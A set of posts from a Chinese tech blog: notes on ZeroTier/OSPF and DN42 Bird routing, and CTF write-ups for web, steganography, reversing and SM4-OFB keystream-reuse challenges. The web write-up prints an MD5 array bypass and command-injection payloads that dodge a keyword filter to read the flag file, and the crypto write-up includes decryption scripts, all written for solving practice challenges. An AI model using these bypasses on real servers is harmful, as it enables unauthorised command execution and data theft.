192.168.1.103: icmp_seq=2 ttl=63 time=10.7 ms 64 bytes from 192.168.1.103: icmp_seq=3 ttl=63 time=15.2 ms ^C --- 192.168.1.103 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 1998ms rtt min/avg/max/mdev = 10.678/26.717/54.279/19.576 ms iyoroy@iYoRoy-PC:~$ traceroute 192.168.1.103 traceroute to 192.168.1.103 (192.168.1.103), 30 hops max, 60 byte packets 1 100.64.0.163 (100.64.0.163) 10.445 ms 9.981 ms 9.892 ms 2 192.168.1.103 (192.168.1.103) 11.621 ms 10.994 ms 10.948 ms 正常打开网页测速都没有问题: 总结 这一系列操作实际上实现了如下的网络结构: flowchart TB %% === 样式定义 === classDef phyNet fill:#e3f2fd,stroke:#1565c0,stroke-width:2px classDef virNet fill:#fff3e0,stroke:#ef6c00,stroke-width:2px,stroke-dasharray: 5 5 classDef router fill:#333,stroke:#000,stroke-width:2px,color:#fff classDef ztCard fill:#f57c00,stroke:#e65100,stroke-width:2px,color:#fff,shape:rect classDef bird fill:#a5d6a7,stroke:#2e7d32,stroke-width:1px,color:#000 classDef invisibleContainer fill:none,stroke:none,color:none %% === 物理层容器 === subgraph Top_Physical_Layer [" "] direction LR subgraph Left_Side ["我家 (Node A)"] direction TB L_Router[X-WRT Router A]:::router L_LAN[内网: 192.168.3.0/24] L_LAN <--> L_Router end subgraph Right_Side ["朋友家 (Node B)"] direction TB R_Router[X-WRT Router B]:::router R_LAN[内网: 192.168.1.0/24] R_LAN <--> R_Router end end %% === 虚拟层容器 === subgraph Middle_Side [ZeroTier Virtual L2 Network] direction LR subgraph ZT_Stack_A [我家 ZT接入] direction TB L_NIC(zt0: 100.64.0.x):::ztCard L_Bird(Bird OSPF):::bird L_NIC <-.- L_Bird end subgraph ZT_Stack_B [朋友家 ZT接入] direction TB R_NIC(zt0: 100.64.0.y):::ztCard R_Bird(Bird OSPF):::bird R_NIC <-.- R_Bird end L_NIC <==P2P Tunnel==> R_NIC end %% === 跨层连接 === L_Router === L_NIC R_Router === R_NIC %% === 样式应用 === class Left_Side,Right_Side phyNet class Middle_Side virNet class Top_Physical_Layer invisibleContainer 最底层的 P2P 网络还是依靠 ZeroTier实现的, 不过使用 OSPF 内部寻路来让两边都可以直接路由到对方网段下的设备, 同时因为双方都能完整学习到对方的路由, 因此不需要使用任何的NAT, 双方也都能直接获取到对方的来源地址. 朋友视角 Linux 运维 - 新版 OpenWrt 基于 Bird 的 OSPF 组网实现 » Nanamiの电波发射塔
打开网页，可发现是一个登录页： 尝试通过dirsearch扫描，得到： Target: http://8c9e4bf8-68c2-4c3f-bf12-2b578912c971.game.polarctf.com:8090/ [15:15:01] Starting: [15:15:04] 403 - 319B - /.ht_wsr.txt [15:15:04] 403 - 319B - /.htaccess.bak1 [15:15:04] 403 - 319B - /.htaccess.orig [15:15:04] 403 - 319B - /.htaccess.sample [15:15:04] 403 - 319B - /.htaccess.save [15:15:04] 403 - 319B - /.htaccess_orig [15:15:04] 403 - 319B - /.htaccess_extra [15:15:04] 403 - 319B - /.htaccess_sc [15:15:04] 403 - 319B - /.htaccessBAK [15:15:04] 403 - 319B - /.htaccessOLD [15:15:04] 403 - 319B - /.htaccessOLD2 [15:15:04] 403 - 319B - /.htm [15:15:04] 403 - 319B - /.html [15:15:04] 403 - 319B - /.htpasswd_test [15:15:04] 403 - 319B - /.htpasswds [15:15:04] 403 - 319B - /.httr-oauth [15:15:19] 200 - 448B - /flag.txt [15:15:20] 200 - 3KB - /index.php [15:15:20] 200 - 3KB - /index.php/login/ [15:15:28] 403 - 319B - /server-status/ [15:15:28] 403 - 319B - /server-status Task Completed 发现/flag.txt，访问： <?php $original = "flag{polar_flag_in_here}"; $ascii_codes = [117, 115, 101, 114, 110, 97, 109, 101]; $new = ""; foreach ($ascii_codes as $code) { $new .= chr($code); } function replaceString($original, $new) { $temp = str_replace("flag{", "the_", $original); $temp = str_replace("polar_flag_in_here}", $new . "_is_polar", $temp); return $temp; } $result = replaceString($orginal, $ne1w); echo "flag{polar_flag_in_here}"; ?> 尝试运行，发现语法错误，修正： ... return $temp; } -$result = replaceString($orginal, $ne1w); +$result = replaceString($original, $new); -echo "flag{polar_flag_in_here}"; +echo $result; 运行，得到：the_username_is_polar，提示我们用户名是polar。同时，题目附件提供了一个字典wordlist.txt，尝试使用BurpSuite爆破： 爆破发现当密码为6666的时候会跳转到/polar.php： 访问/polar.php，得到： <?php error_reporting(0); session_start(); if(isset($_GET['logout'])){ session_destroy(); header('Location: index.php'); exit(); } // 初始化会话变量 if(!isset($_SESSION['collision_passed'])) { $_SESSION['collision_passed'] = false; } //想赢的人脸上是没有笑容的 if(isset($_POST['a']) && isset($_POST['b'])) { if($_POST['a'] != $_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo "MD5 不错不错 \n"; $_SESSION['collision_passed'] = true; } else { echo "MD5 你不行啊\n"; $_SESSION['collision_passed'] = false; } } if(isset($_GET["polar"])){ if($_SESSION['collision_passed']) { if(preg_match('/et|echo|cat|tac|base|sh|tar|more|less|tail|nl|fl|vi|head|env|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["polar"])){ echo "gun gun !"; } else { echo "polar polar !"; system($_GET["polar"]); } } else { echo "回去吧，这块不要了\n"; } } else { show_source(__FILE__); echo ' 回家喽'; } ?> 首先进行MD5绕过，传入a[]=1&b[]=2即可： POST /polar.php HTTP/1.1 Host: 350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 11 a[]=1&b[]=2 发现服务端返回了一个： Set-Cookie: PHPSESSID=443dctaboep4kh53upn3v2pqal; path=/ 并且提示MD5 不错不错，成功绕过。因为我用的BurpSuite发请求，接下来我打算用普通浏览器做，因此将这个cookie写入浏览器。接着直接访问/polar.php?polar=即可传入指令，不需要再绕MD5。 观察正则匹配规则，发现阻止了很多内容，包括一系列符号。首先尝试通过export导出环境变量，发现一个Flag：flag{7b93dd56-4f33-4738-b916-464a984093b3}，提交上去发现不对，问客服说这个Flag不对（望天） 因为过滤了空格，因此可使用$IFS$1或者%09（Tab）绕过。同时，因为禁用了/，因此使用${PWD:0:1}（截取PWD环境变量的第一个字符，就是/）代替。构造请求： http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=ls%09${PWD:0:1} 得到： polar polar !bin dev etc home lib media mnt opt polarflag proc root run sbin srv sys tmp usr var 发现Flag文件：/polarflag，因为过滤了fl，不能直接调用文件名，因此使用?????????来通配9个字符的文件。禁用了cat，tail，more，less等能打印内容的指令，但是仍然可以使用sort之类的指令，也能打印出来： http://350eddd0-fd57-4dd0-94d3-c0c8888afd7d.game.polarctf.com:8090/polar.php?polar=sort%09${PWD:0:1}????????? 得到Flag：flag{polarctf1314inwebgame}
通过010 editor打开文件，发现末端存在ZIP头： 提取出来，打开发现无密码，是一串base64： [binary] 解码得到： 你这苹果怎么这么大 大个儿才值钱你要不要 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 这橙子怎么这么酸 酸才是正宗的橙子你要是甜的去别家看 这香蕉有点弯 弯的香蕉更甜你不懂 你这梨子是不是有点硬 硬是因为新鲜吃着有口感 这葡萄怎么这么小 小的葡萄更浓缩甜味 同时，发现导出的zip末端仍然有一部分未识别的数据： 根据其1A 9E 97 BA 2A可推测这是OurSecret隐写，通过OurSecret工具打开，发现需要密码。尝试发现密码就是shuiguo，可解出来一个txt： 你这柚子这么小 你这柚子这么小 你这柚子这么小 你这梨子是不是有点硬 你这柚子这么小 大个儿才值钱你要不要 你这柚子这么小 小巧的才好吃你要大个的还是好吃的 小巧的才好吃你要大个的还是好吃的 弯的香蕉更甜你不懂 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 不熟的西瓜怎么可能你这就是等着吃甜的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这苹果怎么这么大 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这西瓜能吃吗看起来有点不熟 你这柚子这么小 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 酸才是正宗的橙子你要是甜的去别家看 你这柚子这么小 这桃子怎么这么硬 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 硬是因为新鲜你要软的还是糯的 你这柚子这么小 这西瓜能吃吗看起来有点不熟 硬是因为新鲜你要软的还是糯的 这西瓜能吃吗看起来有点不熟 你这柚子这么小 不熟的西瓜怎么可能你这就是等着吃甜的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 你这柚子这么小 大个儿才值钱你要不要 硬是因为新鲜你要软的还是糯的 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 你这柚子这么小 硬是因为新鲜你要软的还是糯的 硬是因为新鲜你要软的还是糯的 你这柚子这么小 硬是因为新鲜你要软的还是糯的 这桃子怎么这么硬 小巧的才好吃你要大个的还是好吃的 硬是因为新鲜吃着有口感 发现和上面解压出来的是一条条对应的。因为上面解压出来的语句是16条，推测是16进制，分别是0-f，然后将OurSecret解密出来的内容分别对应成16进制数，可得到：666c61677b33653235393630613739646263363962363734636434656336376137326336327d。 编写python脚本，2个一组按照ascii转换成字符： hex_string = "666c61677b33653235393630613739646263363962363734636434656336376137326336327d" ascii_string = ''.join([chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2)]) print(ascii_string) 得到Flag：flag{3e25960a79dbc69b674cd4ec67a72c62}
前情提要 正如这个系列的上文所说，因为VRF方案太过于隔离，导致我部署在HKG节点（172.20.234.225）的DNS服务无法被DN42网络所访问，查阅资料得知可以通过设置veth或者NAT地址转发的方式来实现，但是因为现有的资料比较少，最终还是放弃了VRF这个方案。 结构分析 这次我打算将DN42和公网BGP的路由都放入系统的主路由表，然后再分开导出，通过过滤器来区分是否应该导出。同时，为了更加直观，我将DN42部分的配置和公网（以下简称inet）部分的配置分别单独存放，再由主配置文件引入。同时，因为kernel部分配置一个路由表只应该存在一个，因此合并DN42和inet的kernel部分，仅保留一个。 经过多次优化和修改，我最终的目录结构如下： /etc/bird/ ├─envvars ├─bird.conf: Bird主配置文件，负责定义基本信息（ASN、IP等），引入下面的子配置 ├─kernel.conf: 内核配置，负责将路由导入系统路由表 ├─dn42 | ├─defs.conf: DN42的函数定义，如is_self_dn42_net()这类 | ├─ibgp.conf: DN42 iBGP模板 | ├─rpki.conf: DN42 RPKI路由验证 | ├─ospf.conf: DN42 OSPF内网 | ├─static.conf: DN42静态路由 | ├─ebgp.conf: DN42 Peer模板 | ├─ibgp | | └<ibgp configs>: DN42 iBGP各个节点的配置 | ├─ospf | | └backbone.conf: OSPF区域 | ├─peers | | └<ibgp configs>: DN42 Peer各个节点的配置 ├─inet | ├─peer.conf: 公网Peer | ├─ixp.conf: 公网IXP接入 | ├─defs.conf: 公网部分的函数定义，如is_self_inet_v6() | ├─upstream.conf: 公网上游 | └static.conf: 公网静态路由 将定义函数的部分单独拿出来是因为我需要在kernel.conf的过滤器中引用，因此单独拿出来以便于提前include。 完成后分别填入对应配置，然后由写好include关系，birdc configure后发现也成功跑起来了。于是乎告一段落...吗? 发现问题 运行一段时间后，我突然发现通过我的内网设备Ping HKG节点无法Ping通，通过HKG节点Ping我的其他内部节点也无法Ping通。奇怪的是，外部AS可以通过我的HKG节点Ping到我的其他节点或者其他外部AS，我的内部节点也可以通过HKG节点Ping到其他不直接相连的节点（如：226(NKG)->225(HKG)->229(LAX)）。 通过ip route get <内网其他节点地址>发现： root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226 172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0 cache 看出问题了吗？src地址本来应该是HKG节点自己的DN42地址（OSPF部分stub网卡配置的），但是这里显示的却是HKG节点的公网地址。 尝试通过birdc s r for 172.20.234.226读取bird学习到的路由： root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226 BIRD 2.17.1 ready. Table master4: 172.20.234.226/32 unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226] via 172.20.234.226 on dn42_nkg onlink 看起来貌似一切正常...? 理论上来说，虽然DN42的源IP和正常的不太一样，但是DN42在导出到内核的时候改写了krt_prefsrc来告诉内核正确的源地址，理论上不应该出现这样的问题： protocol kernel kernel_v4{ ipv4 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP; accept; }; }; } protocol kernel kernel_v6 { ipv6 { import none; export filter { if source = RTS_STATIC then reject; + if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6; accept; }; }; } 关于krt_prefsrc，其含义是Kernel Route Preferred Source。这个属性并非直接操作路由，而是为路由附加一个元数据，它直接告诉 Linux 内核：当通过这条路由发送数据包时，应优先使用这里指定的 IP 地址作为源地址。 在这里卡了好久的说 解决方案 最终，某次无意间尝试给OSPF的导出配置中也加上了krt_prefsrc改写： protocol ospf v3 dn42_ospf_iyoroynet_v4 { router id DN42_OWNIP; ipv4 { - import where is_self_dn42_net() && source != RTS_BGP; + import filter { + if is_self_dn42_net() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIP; + accept; + } + reject; + }; export where is_self_dn42_net() && source != RTS_BGP; }; include "ospf/*"; }; protocol ospf v3 dn42_ospf_iyoroynet_v6 { router id DN42_OWNIP; ipv6 { - import where is_self_dn42_net_v6() && source != RTS_BGP; + import filter { + if is_self_dn42_net_v6() && source != RTS_BGP then { + krt_prefsrc=DN42_OWNIPv6; + accept; + } + reject; + }; export where is_self_dn42_net_v6() && source != RTS_BGP; }; include "ospf/*"; }; 之后再运行发现src地址正确了，互相Ping也都能通。 配置文件可参考：KaguraiYoRoy/Bird2-Configuration
GD1 通过文件描述可知这是Godot Engine编写的游戏。使用GDRE工具打开，可找到游戏逻辑： extends Node @export var mob_scene: PackedScene var score var a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" func _ready(): pass func _process(delta: float) -> void : pass func game_over(): $ScoreTimer.stop() $MobTimer.stop() $HUD.show_game_over() func new_game(): score = 0 $Player.start($StartPosition.position) $StartTimer.start() $HUD.update_score(score) $HUD.show_message("Get Ready") get_tree().call_group("mobs", "queue_free") func _on_mob_timer_timeout(): var mob = mob_scene.instantiate() var mob_spawn_location = $MobPath / MobSpawnLocation mob_spawn_location.progress_ratio = randf() var direction = mob_spawn_location.rotation + PI / 2 mob.position = mob_spawn_location.position direction += randf_range( - PI / 4, PI / 4) mob.rotation = direction var velocity = Vector2(randf_range(150.0, 250.0), 0.0) mob.linear_velocity = velocity.rotated(direction) add_child(mob) func _on_score_timer_timeout(): score += 1 $HUD.update_score(score) if score == 7906: var result = "" for i in range(0, a.length(), 12): var bin_chunk = a.substr(i, 12) var hundreds = bin_chunk.substr(0, 4).bin_to_int() var tens = bin_chunk.substr(4, 4).bin_to_int() var units = bin_chunk.substr(8, 4).bin_to_int() var ascii_value = hundreds * 100 + tens * 10 + units result += String.chr(ascii_value) $HUD.show_message(result) func _on_start_timer_timeout(): $MobTimer.start() $ScoreTimer.start() 发现当得分到达7906时会调用一个解密算法，将数组a的数据解密然后打印。尝试按照逻辑编写解密程序： #include <iostream> #include <string> #include <bitset> using namespace std; int bin_to_int(const string &bin) { return stoi(bin, nullptr, 2); } string decodeBinaryString(const string &a) { string result; for (size_t i = 0; i + 12 <= a.length(); i += 12) { string bin_chunk = a.substr(i, 12); int hundreds = bin_to_int(bin_chunk.substr(0, 4)); int tens = bin_to_int(bin_chunk.substr(4, 4)); int units = bin_to_int(bin_chunk.substr(8, 4)); int ascii_value = hundreds * 100 + tens * 10 + units; result.push_back(static_cast<char>(ascii_value)); } return result; } int main() { string a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101"; cout << decodeBinaryString(a) << endl; return 0; } 运行，得到Flag：DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS} 成功男人背后的女人 打开附件发现是一个图片，根据提示，猜测可能存在隐藏的图片或者其他内容。尝试使用binwalk、foremost都无果。最后查询资料可知用了Adobe Fireworks专有的协议，尝试打开即可发现隐藏图像： 将下方的符号按照二进制的方式组合得到： 01000100010000010101001101000011 01010100010001100111101101110111 00110000011011010100010101001110 01011111011000100110010101101000 00110001011011100100010001011111 01001101010001010110111001111101 8个一组解码： #include <iostream> #include <string> using namespace std; int main(){ string str="010001000100000101010011010000110101010001000110011110110111011100110000011011010100010101001110010111110110001001100101011010000011000101101110010001000101111101001101010001010110111001111101"; for(int i=0;i<str.length();i+=8){ cout<<(char)stoi(str.substr(i,8).c_str(),nullptr,2); } return 0; } 运行得到：DASCTF{w0mEN_beh1nD_MEn} SM4-OFB 让AI分析一下加密过程并编写解密脚本： # 使用此代码进行本地运行或在本环境运行来恢复密文（SM4-OFB 假设下） # 代码会： # 1) 使用已知 record1 的明文和密文计算每个分块的 keystream（假设使用 PKCS#7 填充到 16 字节并且每个字段单独以 OFB 从相同 IV 开始） # 2) 用得到的 keystream 去解 record2 对应字段的密文，尝试去掉填充并输出明文（UTF-8 解码） # # 说明：此脚本**不需要密钥**，只利用了已知明文与相同 IV/模式复用导致的 keystream 可重用性（这是 OFB/CTR 的典型弱点） # 请确保安装 pycryptodome（如果需要对照加密进行验证），但此脚本只做异或操作，不调用加密库。 from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad def xor_bytes(a,b): return bytes(x^y for x,y in zip(a,b)) # record1 已知明文与密文（用户提供） record1 = { "name_plain": "蒋宏玲".encode('utf-8'), "name_cipher_hex": "cef18c919f99f9ea19905245fae9574e", "phone_plain": "17145949399".encode('utf-8'), "phone_cipher_hex": "17543640042f2a5d98ae6c47f8eb554c", "id_plain": "220000197309078766".encode('utf-8'), "id_cipher_hex": "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } # record2 仅密文（用户提供） record2 = { "name_cipher_hex": "c0ffb69293b0146ea19d5f48f7e45a43", "phone_cipher_hex": "175533440427265293a16447f8eb554c", "id_cipher_hex": "1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c", "iv_hex": "6162636465666768696a6b6c6d6e6f70" } BS = 16 # 分组长度 # 工具：把字段按 16 字节块切分 def split_blocks(b): return [b[i:i+BS] for i in range(0, len(b), BS)] # 1) 计算 record1 每个字段的 keystream（假设加密前用 PKCS#7 填充，然后按块 XOR） ks_blocks = {"name": [], "phone": [], "id": []} # name C_name = unhexlify(record1["name_cipher_hex"]) P_name_padded = pad(record1["name_plain"], BS) for c, p in zip(split_blocks(C_name), split_blocks(P_name_padded)): ks_blocks["name"].append(xor_bytes(c, p)) # phone C_phone = unhexlify(record1["phone_cipher_hex"]) P_phone_padded = pad(record1["phone_plain"], BS) for c, p in zip(split_blocks(C_phone), split_blocks(P_phone_padded)): ks_blocks["phone"].append(xor_bytes(c, p)) # id (可能为两块) C_id = unhexlify(record1["id_cipher_hex"]) P_id_padded = pad(record1["id_plain"], BS) for c, p in zip(split_blocks(C_id), split_blocks(P_id_padded)): ks_blocks["id"].append(xor_bytes(c, p)) print("Derived keystream blocks (hex):") for field, blks in ks_blocks.items(): print(field, [b.hex() for b in blks]) # 2) 使用上述 keystream 去解 record2 相应字段 def recover_field(cipher_hex, ks_list): C = unhexlify(cipher_hex) blocks = split_blocks(C) recovered_padded = b''.join(xor_bytes(c, ks) for c, ks in zip(blocks, ks_list)) # 尝试去除填充并解码 try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception as e: recovered = None return recovered, recovered_padded name_rec, name_padded = recover_field(record2["name_cipher_hex"], ks_blocks["name"]) phone_rec, phone_padded = recover_field(record2["phone_cipher_hex"], ks_blocks["phone"]) id_rec, id_padded = recover_field(record2["id_cipher_hex"], ks_blocks["id"]) print("\nRecovered (if OFB with same IV/key and per-field restart):") print("Name padded bytes (hex):", name_padded.hex()) print("Name plaintext:", name_rec) print("Phone padded bytes (hex):", phone_padded.hex()) print("Phone plaintext:", phone_rec) print("ID padded bytes (hex):", id_padded.hex()) print("ID plaintext:", id_rec) # 如果解码失败，打印原始 bytes 以便人工分析 # if name_rec is None: # print("\nName padded bytes (raw):", name_padded) # if phone_rec is None: # print("Phone padded bytes (raw):", phone_padded) # if id_rec is None: # print("ID padded bytes (raw):", id_padded) # 结束 发现能够计算得到姓名和身份证号，再将Excel表中所有人名dump出来放到txt里，让AI写个脚本批量计算： #!/usr/bin/env python3 """ Batch-decrypt names encrypted with SM4-OFB where the same IV/nonce was reused and one known plaintext/ciphertext pair is available (from record1). This script: - Reads an input file (one hex-encoded cipher per line). - Uses the known record1 name plaintext & ciphertext to derive the OFB keystream blocks for the name-field (keystream = C XOR P_padded). - XORs each input cipher with the derived keystream blocks to recover plaintext, removes PKCS#7 padding if present, and prints a line containing: <recovered_name>\t<cipher_hex> Usage: python3 sm4_ofb_batch_decrypt_names.py names_cipher.txt Notes: - This assumes each name was encrypted as a separate field starting OFB from the same IV (so keystream blocks align for the name-field) and PKCS#7 padding was used before encryption. If names exceed the number of derived keystream blocks the script will attempt to reuse the keystream cyclically (warns about it), but ideally you should supply a longer known plaintext/ciphertext pair to derive more keystream blocks. - Requires pycryptodome for padding utilities: pip install pycryptodome Edit the KNOWN_* constants below if your known record1 values differ. """ import sys from binascii import unhexlify, hexlify from Crypto.Util.Padding import pad, unpad # ----------------------- # ----- KNOWN VALUES ---- # ----------------------- # These are taken from the CTF prompt / earlier messages. Change them if needed. KNOWN_NAME_PLAIN = "蒋宏玲" # record1 known plaintext for name field KNOWN_NAME_CIPHER_HEX = "cef18c919f99f9ea19905245fae9574e" # record1 name ciphertext hex IV_HEX = "6162636465666768696a6b6c6d6e6f70" # the IV column (fixed) # Block size for SM4 (16 bytes) BS = 16 # ----------------------- # ----- Helpers --------- # ----------------------- def xor_bytes(a: bytes, b: bytes) -> bytes: return bytes(x ^ y for x, y in zip(a, b)) def split_blocks(b: bytes, bs: int = BS): return [b[i:i+bs] for i in range(0, len(b), bs)] # ----------------------- # ----- Derive keystream from the known pair # ----------------------- def derive_keystream_from_known(known_plain: str, known_cipher_hex: str): p = known_plain.encode('utf-8') c = unhexlify(known_cipher_hex) p_padded = pad(p, BS) p_blocks = split_blocks(p_padded) c_blocks = split_blocks(c) if len(p_blocks) != len(c_blocks): raise ValueError('Known plaintext/cipher block count mismatch') ks_blocks = [xor_bytes(cb, pb) for cb, pb in zip(c_blocks, p_blocks)] return ks_blocks # ----------------------- # ----- Recovery -------- # ----------------------- def recover_name_from_cipher_hex(cipher_hex: str, ks_blocks): c = unhexlify(cipher_hex.strip()) c_blocks = split_blocks(c) # If there are more cipher blocks than ks_blocks, warn and reuse ks cyclically if len(c_blocks) > len(ks_blocks): print("[WARN] cipher needs %d blocks but only %d keystream blocks available; reusing keystream cyclically" % (len(c_blocks), len(ks_blocks)), file=sys.stderr) recovered_blocks = [] for i, cb in enumerate(c_blocks): ks = ks_blocks[i % len(ks_blocks)] recovered_blocks.append(xor_bytes(cb, ks)) recovered_padded = b''.join(recovered_blocks) # Try to unpad and decode; if fails, return hex of raw bytes try: recovered = unpad(recovered_padded, BS).decode('utf-8') except Exception: try: recovered = recovered_padded.decode('utf-8') except Exception: recovered = '<raw:' + recovered_padded.hex() + '>' return recovered # ----------------------- # ----- Main ----------- # ----------------------- def main(): if len(sys.argv) != 2: print('Usage: python3 sm4_ofb_batch_decrypt_names.py <names_cipher_file>', file=sys.stderr) sys.exit(2) inpath = sys.argv[1] ks_blocks = derive_keystream_from_known(KNOWN_NAME_PLAIN, KNOWN_NAME_CIPHER_HEX) with open(inpath, 'r', encoding='utf-8') as f: for lineno, line in enumerate(f, 1): line = line.strip() if not line: continue # Assume each line is one hex-encoded name ciphertext (no spaces) try: recovered = recover_name_from_cipher_hex(line, ks_blocks) except Exception as e: recovered = '<error: %s>' % str(e) print(f"{recovered}\t{line}") if __name__ == '__main__': main() 搜索，发现与何浩璐对应的密文是c2de929284bff9f63b905245fae9574e，再去Excel里搜这串密文对应的身份证号的密文，得到：1751374401262f5d9ca36576ccde617fad8baace87de269e6659fdbc1f3ea41c，再用上面那个脚本解出来：120000197404101676，计算md5：fbb80148b75e98b18d65be446f505fcc即为Flag。 dataIdSort 将需求丢给AI，让AI写了个脚本： #!/usr/bin/env python3 # coding: utf-8 """ 功能： - 从 data.txt 中按顺序精确提取：身份证(idcard)、手机号(phone)、银行卡(bankcard)、IPv4(ip)、MAC(mac)。 - 严格遵循《个人信息数据规范文档》，优化正则表达式和匹配策略以达到高准确率。 - 所有匹配项均保留原始格式，并输出到 output.csv 文件中。 """ import re import csv from datetime import datetime # ------------------- 配置 ------------------- INPUT_FILE = "data.txt" OUTPUT_FILE = "output.csv" DEBUG = False # 设置为 True 以在控制台打印详细的接受/拒绝日志 # 手机号前缀白名单 ALLOWED_MOBILE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # --------------------------------------------- # ------------------- 校验函数 ------------------- def luhn_check(digits: str) -> bool: """对数字字符串执行Luhn算法校验。""" s = 0 alt = False for char in reversed(digits): d = int(char) if alt: d *= 2 if d > 9: d -= 9 s += d alt = not alt return s % 10 == 0 def is_valid_id(raw: str): """校验身份证号的有效性（长度、格式、出生日期、校验码）。""" sep_pattern = r'[\s\-\u00A0\u3000\u2013\u2014]' s = re.sub(sep_pattern, '', raw) if len(s) != 18 or not re.match(r'^\d{17}[0-9Xx]$', s): return False, "无效的格式或长度" try: birth_date = datetime.strptime(s[6:14], "%Y%m%d") if not (1900 <= birth_date.year <= datetime.now().year): return False, f"无效的出生年份: {birth_date.year}" except ValueError: return False, "无效的出生日期" weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] check_map = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] total = sum(int(digit) * weight for digit, weight in zip(s[:17], weights)) expected_check = check_map[total % 11] if s[17].upper() != expected_check: return False, f"校验码不匹配: 期望值 {expected_check}" return True, "" def is_valid_phone(raw: str) -> bool: """校验手机号的有效性（长度和号段）。""" digits = re.sub(r'\D', '', raw) if digits.startswith("86") and len(digits) > 11: digits = digits[2:] return len(digits) == 11 and digits[:3] in ALLOWED_MOBILE_PREFIXES def is_valid_bankcard(raw: str) -> bool: """校验银行卡号的有效性（16-19位纯数字 + Luhn算法）。""" if not (16 <= len(raw) <= 19 and raw.isdigit()): return False return luhn_check(raw) def is_valid_ip(raw: str) -> bool: """校验IPv4地址的有效性（4个0-255的数字，不允许前导零）。""" parts = raw.split('.') if len(parts) != 4: return False # 检查是否存在无效部分，如 '01' if any(len(p) > 1 and p.startswith('0') for p in parts): return False return all(p.isdigit() and 0 <= int(p) <= 255 for p in parts) def is_valid_mac(raw: str) -> bool: """校验MAC地址的有效性。""" # 正则表达式已经非常严格，这里仅做最终确认 return re.fullmatch(r'([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', raw, re.IGNORECASE) is not None # ------------------- 正则表达式定义 ------------------- # 模式的顺序经过精心设计，以减少匹配歧义：优先匹配格式最特殊的。 # 1. MAC地址：格式明确，使用冒号分隔。 mac_pattern = r'(?P<mac>(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2})' # 2. 